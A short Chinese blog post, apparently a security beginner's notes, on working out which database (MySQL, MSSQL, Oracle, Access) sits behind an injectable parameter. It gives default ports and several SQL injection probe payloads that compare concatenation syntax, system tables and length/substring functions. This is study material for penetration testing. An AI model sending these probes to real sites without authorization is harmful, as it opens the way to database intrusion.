SQL注入資料庫型別判斷
SQL注入資料庫型別判斷
前言
安服小白一枚,第一次發表文章,就當做是自己的筆記,如有錯誤還請各位大佬多多指教,小白不易,還請哥哥輕噴。
預設埠判斷
MySQL:3306
MSSQL:1433
Oracle:1521
當然,除非是在內網做測試,否則一般情況下是不可能把這些埠映射出來的。
資料庫特有連線符判斷
id=1 and ‘1’+’1’=’11’ #MySQL或者是MSSQL
id=1 and concat(‘1’,’1’)=’11’ #MySQL或者Oracle
id=1 and ‘1’||’1’=’11’ #Oracle
特有資料表判斷
id=1 and (select count(*) from sys.user_tables)>0 and 1=1 #Oracle
id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1 #MySQL5.0以上
id=1 and (select count(*) from sysobjects)>0 and 1=1 #MSSQL
id=1 and (select count(*) from msysobjects)>0 and 1=1 #access資料庫
資料庫特定函式判斷
注:位元組數是字元數的2倍,此處給小白一個提示,位元組數和字元數是不一樣的,因此特意標明,至於哪裡不一樣,可再自行百度。
char_length() #MySQL字元長度
datalength() #MSSQL位元組長度
Len() #MSSQL字元長度
lengthb() #Oracle位元組長度
length() # Oracle字串長度
mssql中可以呼叫substring()
oracle則只可呼叫substr()
mysql也可以使用substr()
substr(string string,num start,num length);
string為字串;
start為起始位置;
length為長度。
我也是網上參考各位大佬的文章寫的筆記,以下連結給我了很大的幫助,感謝大佬的分享,下面連結是本文參考的出處。